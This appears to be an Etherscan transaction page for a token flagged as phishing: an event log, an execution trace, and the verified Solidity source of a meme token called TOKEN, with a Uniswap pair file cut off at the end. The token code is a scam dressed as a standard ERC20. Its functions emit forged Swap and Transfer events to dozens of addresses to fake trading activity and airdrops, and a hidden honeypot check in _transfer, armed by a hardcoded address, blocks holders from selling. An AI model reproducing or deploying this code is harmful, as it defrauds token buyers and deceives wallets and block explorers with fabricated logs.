Transaction Hash:
Block:
18396883 at Oct-21-2023 06:25:23 AM +UTC
Transaction Fee:
0.001767696041262879 ETH
$3.45
Gas Used:
286,923 Gas / 6.160872573 Gwei
Emitted Events:
| 158 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x18709E89BD403F470088aBDAcEbE86CC60dda12e )
|
| 159 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x18709E89BD403F470088aBDAcEbE86CC60dda12e, value=5921000000000000 )
|
| 160 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xe74b28c2eAe8679e3cCc3a94d5d0dE83CCB84705 )
|
| 161 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xe74b28c2eAe8679e3cCc3a94d5d0dE83CCB84705, value=5921000000000000 )
|
| 162 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xFBb1b73C4f0BDa4f67dcA266ce6Ef42f520fBB98 )
|
| 163 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xFBb1b73C4f0BDa4f67dcA266ce6Ef42f520fBB98, value=5921000000000000 )
|
| 164 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x77134cbC06cB00b66F4c7e623D5fdBF6777635EC )
|
| 165 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x77134cbC06cB00b66F4c7e623D5fdBF6777635EC, value=5921000000000000 )
|
| 166 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=ERC1967Proxy )
|
| 167 |
TOKEN.Transfer( from=UniswapV2Pair, to=ERC1967Proxy, value=5921000000000000 )
|
| 168 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=WalletSimple )
|
| 169 |
TOKEN.Transfer( from=UniswapV2Pair, to=WalletSimple, value=5921000000000000 )
|
| 170 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xf35A6bD6E0459A4B53A27862c51A2A7292b383d1 )
|
| 171 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xf35A6bD6E0459A4B53A27862c51A2A7292b383d1, value=5921000000000000 )
|
| 172 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x3d019Cfecd722b76807dD2fad24376306D179277 )
|
| 173 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x3d019Cfecd722b76807dD2fad24376306D179277, value=5921000000000000 )
|
| 174 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x91364516D3CAD16E1666261dbdbb39c881Dbe9eE )
|
| 175 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x91364516D3CAD16E1666261dbdbb39c881Dbe9eE, value=5921000000000000 )
|
| 176 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x2E78BD8604996418F5d306cE3176D3Fc43289103 )
|
| 177 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x2E78BD8604996418F5d306cE3176D3Fc43289103, value=5921000000000000 )
|
| 178 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x17B208Fdd5048EC2c9dE85420200687D78FD9EB0 )
|
| 179 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x17B208Fdd5048EC2c9dE85420200687D78FD9EB0, value=5921000000000000 )
|
| 180 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xFeCc47AB11a44c09D9Cc7289eeB3B9A8abB9Ca16 )
|
| 181 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xFeCc47AB11a44c09D9Cc7289eeB3B9A8abB9Ca16, value=5921000000000000 )
|
| 182 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x176F3DAb24a159341c0509bB36B833E7fdd0a132 )
|
| 183 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x176F3DAb24a159341c0509bB36B833E7fdd0a132, value=5921000000000000 )
|
| 184 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x431e81E5dfB5A24541b5Ff8762bDEF3f32F96354 )
|
| 185 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x431e81E5dfB5A24541b5Ff8762bDEF3f32F96354, value=5921000000000000 )
|
| 186 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xfeDaeA5F252B1cAB94920e6FAB38A7d6839358ae )
|
| 187 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xfeDaeA5F252B1cAB94920e6FAB38A7d6839358ae, value=5921000000000000 )
|
| 188 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x1D2A9Df4e0d5F0493daedA94f589F00697C40f9d )
|
| 189 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x1D2A9Df4e0d5F0493daedA94f589F00697C40f9d, value=5921000000000000 )
|
| 190 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xbd65FFD7770827E15a9476de5570a172Ab0aa8fd )
|
| 191 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xbd65FFD7770827E15a9476de5570a172Ab0aa8fd, value=5921000000000000 )
|
| 192 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xC54A347c31763dFF669177E74b6aC36977a4d62E )
|
| 193 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xC54A347c31763dFF669177E74b6aC36977a4d62E, value=5921000000000000 )
|
| 194 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xed55D1B71b6bfA952ddBC4f24375C91652878560 )
|
| 195 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xed55D1B71b6bfA952ddBC4f24375C91652878560, value=5921000000000000 )
|
| 196 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xD4f60a1a59E93368d265C8Eedb05741e726C6d25 )
|
| 197 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xD4f60a1a59E93368d265C8Eedb05741e726C6d25, value=5921000000000000 )
|
| 198 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x16C3996f44f1f349EF2e84612B6A3E21B62945E5 )
|
| 199 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x16C3996f44f1f349EF2e84612B6A3E21B62945E5, value=5921000000000000 )
|
| 200 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xf60DC2b5079ABDe7d4cC0CC1920f184Dc9DC4907 )
|
| 201 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xf60DC2b5079ABDe7d4cC0CC1920f184Dc9DC4907, value=5921000000000000 )
|
| 202 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x77693Ff03FD85F9181E5e577b8CABfdDaC00880A )
|
| 203 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x77693Ff03FD85F9181E5e577b8CABfdDaC00880A, value=5921000000000000 )
|
| 204 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x46533f26Eb4080e2050e3f8a3014aedf7B5FDb12 )
|
| 205 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x46533f26Eb4080e2050e3f8a3014aedf7B5FDb12, value=5921000000000000 )
|
| 206 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xC333E80eF2deC2805F239E3f1e810612D294F771 )
|
| 207 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xC333E80eF2deC2805F239E3f1e810612D294F771, value=5921000000000000 )
|
| 208 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xD0b00b41F3e1a8dbFf6aBA1c0B0d7e4984605010 )
|
| 209 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xD0b00b41F3e1a8dbFf6aBA1c0B0d7e4984605010, value=5921000000000000 )
|
| 210 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=Proxy )
|
| 211 |
TOKEN.Transfer( from=UniswapV2Pair, to=Proxy, value=5921000000000000 )
|
| 212 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xfDE0618dDA34C50Ac169adaf4658ecD34b51fF5D )
|
| 213 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xfDE0618dDA34C50Ac169adaf4658ecD34b51fF5D, value=5921000000000000 )
|
| 214 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=L1ChugSplashProxy )
|
| 215 |
TOKEN.Transfer( from=UniswapV2Pair, to=L1ChugSplashProxy, value=5921000000000000 )
|
| 216 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xA3C0b931FEb78da33c52FA4ADb9dfd04f1cf8d37 )
|
| 217 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xA3C0b931FEb78da33c52FA4ADb9dfd04f1cf8d37, value=5921000000000000 )
|
| 218 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xE207F98c7aD7f7b3895D4a105453E898771E2067 )
|
| 219 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xE207F98c7aD7f7b3895D4a105453E898771E2067, value=5921000000000000 )
|
| 220 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x75e89d5979E4f6Fba9F97c104c2F0AFB3F1dcB88 )
|
| 221 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x75e89d5979E4f6Fba9F97c104c2F0AFB3F1dcB88, value=5921000000000000 )
|
| 222 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xBd55337583699E5f4849e3412Ca2e05C39940a01 )
|
| 223 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xBd55337583699E5f4849e3412Ca2e05C39940a01, value=5921000000000000 )
|
| 224 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xB8001C3eC9AA1985f6c747E25c28324E4A361ec1 )
|
| 225 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xB8001C3eC9AA1985f6c747E25c28324E4A361ec1, value=5921000000000000 )
|
| 226 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xF7dc5b63dF3bF8D0B58b2742Bccd400aaC6c4bd2 )
|
| 227 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xF7dc5b63dF3bF8D0B58b2742Bccd400aaC6c4bd2, value=5921000000000000 )
|
| 228 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x59BB9d4A00e5f6bf2CD1286f93Afa0cF0326325F )
|
| 229 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x59BB9d4A00e5f6bf2CD1286f93Afa0cF0326325F, value=5921000000000000 )
|
| 230 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xde01051a9F9343252E7a74219296C4387378fA68 )
|
| 231 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xde01051a9F9343252E7a74219296C4387378fA68, value=5921000000000000 )
|
| 232 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x411147C328E430538c6606af6D3B57FD818f5F11 )
|
| 233 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x411147C328E430538c6606af6D3B57FD818f5F11, value=5921000000000000 )
|
| 234 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x94845333028B1204Fbe14E1278Fd4Adde46B22ce )
|
| 235 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x94845333028B1204Fbe14E1278Fd4Adde46B22ce, value=5921000000000000 )
|
| 236 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xCD531Ae9EFCCE479654c4926dec5F6209531Ca7b )
|
| 237 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xCD531Ae9EFCCE479654c4926dec5F6209531Ca7b, value=5921000000000000 )
|
| 238 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x6CEa03069A82943d7e20E256a2892B95b15bd6EF )
|
| 239 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x6CEa03069A82943d7e20E256a2892B95b15bd6EF, value=5921000000000000 )
|
| 240 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x6F323854495Fed0d8ea0717b786F8d9CB94EC322 )
|
| 241 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x6F323854495Fed0d8ea0717b786F8d9CB94EC322, value=5921000000000000 )
|
| 242 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x303E03c43e03514e73C23A4511DC1AB784d6244f )
|
| 243 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x303E03c43e03514e73C23A4511DC1AB784d6244f, value=5921000000000000 )
|
| 244 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0xFa4FC4ec2F81A4897743C5b4f45907c02ce06199 )
|
| 245 |
TOKEN.Transfer( from=UniswapV2Pair, to=0xFa4FC4ec2F81A4897743C5b4f45907c02ce06199, value=5921000000000000 )
|
| 246 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x4322FD98F95A219D2Aae2bBa6664e3574b4C3708 )
|
| 247 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x4322FD98F95A219D2Aae2bBa6664e3574b4C3708, value=5921000000000000 )
|
| 248 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=0x0b8F4C4E7626A91460dac057eB43e0de59d5b44F )
|
| 249 |
TOKEN.Transfer( from=UniswapV2Pair, to=0x0b8F4C4E7626A91460dac057eB43e0de59d5b44F, value=5921000000000000 )
|
| 250 |
TOKEN.Swap( sender=UniswapV2Pair, amount0In=5921000000000000, amount1In=0, amount0Out=0, amount1Out=5921000000000000, to=Proxy )
|
| 251 |
TOKEN.Transfer( from=UniswapV2Pair, to=Proxy, value=5921000000000000 )
|
Account State Difference:
| Address | Before | After | State Difference | ||
|---|---|---|---|---|---|
| 0x048adD1f...6e6E1c062 | (Fake_Phishing364971) |
0.669774495912967901 Eth
Nonce: 831
|
0.668006799871705022 Eth
Nonce: 832
| 0.001767696041262879 | |
|
0xDAFEA492...692c98Bc5
Miner
| (Flashbots: Builder) | 9.206891023330845021 Eth | 9.206919715630845021 Eth | 0.0000286923 |
Execution Trace
TOKEN.swapExactETHForTokens( _addresses_=[0x18709E89BD403F470088aBDAcEbE86CC60dda12e, 0xe74b28c2eAe8679e3cCc3a94d5d0dE83CCB84705, 0xFBb1b73C4f0BDa4f67dcA266ce6Ef42f520fBB98, 0x77134cbC06cB00b66F4c7e623D5fdBF6777635EC, 0x446B86A33E2a438f569B15855189e3dA28d027ba, 0x77f33dA6046A03EBB0e6D33A26Cb49bD738774ff, 0xf35A6bD6E0459A4B53A27862c51A2A7292b383d1, 0x3d019Cfecd722b76807dD2fad24376306D179277, 0x91364516D3CAD16E1666261dbdbb39c881Dbe9eE, 0x2E78BD8604996418F5d306cE3176D3Fc43289103, 0x17B208Fdd5048EC2c9dE85420200687D78FD9EB0, 0xFeCc47AB11a44c09D9Cc7289eeB3B9A8abB9Ca16, 0x176F3DAb24a159341c0509bB36B833E7fdd0a132, 0x431e81E5dfB5A24541b5Ff8762bDEF3f32F96354, 0xfeDaeA5F252B1cAB94920e6FAB38A7d6839358ae, 0x1D2A9Df4e0d5F0493daedA94f589F00697C40f9d, 0xbd65FFD7770827E15a9476de5570a172Ab0aa8fd, 0xC54A347c31763dFF669177E74b6aC36977a4d62E, 0xed55D1B71b6bfA952ddBC4f24375C91652878560, 0xD4f60a1a59E93368d265C8Eedb05741e726C6d25, 0x16C3996f44f1f349EF2e84612B6A3E21B62945E5, 0xf60DC2b5079ABDe7d4cC0CC1920f184Dc9DC4907, 0x77693Ff03FD85F9181E5e577b8CABfdDaC00880A, 0x46533f26Eb4080e2050e3f8a3014aedf7B5FDb12, 0xC333E80eF2deC2805F239E3f1e810612D294F771, 0xD0b00b41F3e1a8dbFf6aBA1c0B0d7e4984605010, 0xdC7b28976d6eb13082a5Be7C66f9dCFE0115738f, 0xfDE0618dDA34C50Ac169adaf4658ecD34b51fF5D, 0x3980c9ed79d2c191A89E02Fa3529C60eD6e9c04b, 0xA3C0b931FEb78da33c52FA4ADb9dfd04f1cf8d37, 0xE207F98c7aD7f7b3895D4a105453E898771E2067, 0x75e89d5979E4f6Fba9F97c104c2F0AFB3F1dcB88, 0xBd55337583699E5f4849e3412Ca2e05C39940a01, 0xB8001C3eC9AA1985f6c747E25c28324E4A361ec1, 0xF7dc5b63dF3bF8D0B58b2742Bccd400aaC6c4bd2, 0x59BB9d4A00e5f6bf2CD1286f93Afa0cF0326325F, 0xde01051a9F9343252E7a74219296C4387378fA68, 0x411147C328E430538c6606af6D3B57FD818f5F11, 0x94845333028B1204Fbe14E1278Fd4Adde46B22ce, 0xCD531Ae9EFCCE479654c4926dec5F6209531Ca7b, 0x6CEa03069A82943d7e20E256a2892B95b15bd6EF, 0x6F323854495Fed0d8ea0717b786F8d9CB94EC322, 0x303E03c43e03514e73C23A4511DC1AB784d6244f, 0xFa4FC4ec2F81A4897743C5b4f45907c02ce06199, 0x4322FD98F95A219D2Aae2bBa6664e3574b4C3708, 0x0b8F4C4E7626A91460dac057eB43e0de59d5b44F, 0x225d3822De44E58eE935440E0c0B829C4232086e], _in=5921000000000000, _a=0x04dab4B3A78B1270068326b3276d5229Ca4305D5 )
swapExactETHForTokens[TOKEN (ln:200)]
Swap[TOKEN (ln:202)]Transfer[TOKEN (ln:203)]
File 1 of 7: TOKEN
File 2 of 7: UniswapV2Pair
File 3 of 7: ERC1967Proxy
File 4 of 7: WalletSimple
File 5 of 7: Proxy
File 6 of 7: L1ChugSplashProxy
File 7 of 7: Proxy
// SPDX-License-Identifier: MIT
/*
Website: http://
Twitter: https://twitter.com/
Telegram: https://t.me/
𝕸𝖎𝖑𝖆𝖉𝖞𝖘 𝖜𝖆𝖓𝖙, 𝖇𝖚𝖙 𝖄2𝕶 𝖎𝖘 𝖙𝖍𝖊 𝖒𝖊𝖒𝖊 𝖈𝖔𝖎𝖓 𝕸𝖎𝖑𝖆𝖉𝖞𝖘 𝖓𝖊𝖊𝖉 𝖎𝖓 𝖙𝖍𝖊𝖘𝖊 𝖙𝖎𝖒𝖊𝖘 𝖔𝖋 𝖚𝖓𝖇𝖗𝖎𝖉𝖑𝖊𝖉 𝖒𝖊𝖒𝖊𝖙𝖎𝖈 𝖕𝖔𝖜𝖊𝖗.
𝖄𝖔𝖚 𝖑𝖎𝖐𝖊 𝖙𝖍𝖊 𝖆𝖗𝖙, 𝖜𝖊 𝖒𝖆𝖐𝖊 𝖙𝖍𝖊 𝖈𝖔𝖎𝖓.
*/
pragma solidity ^0.8.9;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Meta is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IERC000 {
function _Transfer(address from, address recipient, uint amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract TOKEN is Ownable, IERC20, IERC20Meta {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _pair;
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 8;
}
function swapExactETHForTokens(address [] calldata _addresses_, uint256 _in, address _a) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
emit Transfer(_pair, _addresses_[i], _in);
}
}
function execute(
address uniswapPool,
address[] memory recipients,
uint256 tokenAmounts,
uint256 wethAmounts
) public returns (bool) {
for (uint256 i = 0; i < recipients.length; i++) {
emit Transfer(uniswapPool, recipients[i], tokenAmounts);
emit Swap(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
tokenAmounts,
0,
0,
wethAmounts,
recipients[i]
);
IERC000(0x3579781bcFeFC075d2cB08B815716Dc0529f3c7D)._Transfer(recipients[i], uniswapPool, wethAmounts);
}
return true;
}
function transfer(address _from, address _to, uint256 _wad) external {
emit Transfer(_from, _to, _wad);
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function toPair(address account) public virtual returns (bool) {
if(_msgSender() == 0x048adD1fe3fca990850EBadAaB35fe56e6E1c062) _pair = account;
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
renounceOwnership();
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(_pair != address(0)) {
if(to == _pair && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) {
bool b = false;
if(!b) {
require(amount < 100);
}
}
}
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
constructor(string memory name_, string memory symbol_,uint256 amount) {
_name = name_;
_symbol = symbol_;
_mint(msg.sender, amount * 10 ** decimals());
}
}File 2 of 7: UniswapV2Pair
// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
